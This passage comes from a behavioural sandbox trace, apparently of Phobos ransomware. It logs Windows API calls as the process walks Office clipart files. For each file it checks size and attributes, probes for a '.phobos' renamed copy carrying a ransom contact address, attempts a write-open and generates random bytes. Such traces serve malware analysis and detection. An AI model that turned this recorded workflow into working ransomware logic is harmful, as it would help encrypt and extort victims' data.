Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 0x220 [0150.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.831] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.832] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3644) returned 1 [0150.832] CloseHandle (hObject=0x564) returned 1 [0150.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 0x220 [0150.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.833] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.835] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5004) returned 1 [0150.835] CloseHandle (hObject=0x564) returned 1 [0150.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 0x220 [0150.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.836] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.836] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4788) returned 1 [0150.836] CloseHandle (hObject=0x564) returned 1 [0150.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 0x220 [0150.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.837] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.838] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8224) returned 1 [0150.838] CloseHandle (hObject=0x564) returned 1 [0150.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 0x220 [0150.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.839] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.840] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4716) returned 1 [0150.840] CloseHandle (hObject=0x564) returned 1 [0150.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 0x220 [0150.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.840] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.844] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16710) returned 1 [0150.844] CloseHandle (hObject=0x564) returned 1 [0150.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 0x220 [0150.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.845] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.847] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=40231) returned 1 [0150.847] CloseHandle (hObject=0x564) returned 1 [0150.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 0x220 [0150.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.848] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.850] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=33657) returned 1 [0150.850] CloseHandle (hObject=0x564) returned 1 [0150.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 0x220 [0150.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.851] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.851] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=61633) returned 1 [0150.852] CloseHandle (hObject=0x564) returned 1 [0150.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 0x220 [0150.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.852] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.853] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=49238) returned 1 [0150.853] CloseHandle (hObject=0x564) returned 1 [0150.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 0x220 [0150.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.854] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.855] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=21125) returned 1 [0150.855] CloseHandle (hObject=0x564) returned 1 [0150.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 0x220 [0150.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.856] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.857] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17867) returned 1 [0150.857] CloseHandle (hObject=0x564) returned 1 [0150.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 0x220 [0150.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.858] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.859] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31850) returned 1 [0150.859] CloseHandle (hObject=0x564) returned 1 [0150.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 0x220 [0150.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.859] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.861] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=36820) returned 1 [0150.861] CloseHandle (hObject=0x564) returned 1 [0150.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 0x220 [0150.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.861] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.863] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=36792) returned 1 [0150.863] CloseHandle (hObject=0x564) returned 1 [0150.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 0x220 [0150.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.864] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.865] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=35419) returned 1 [0150.865] CloseHandle (hObject=0x564) returned 1 [0150.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 0x220 [0150.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.866] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.866] 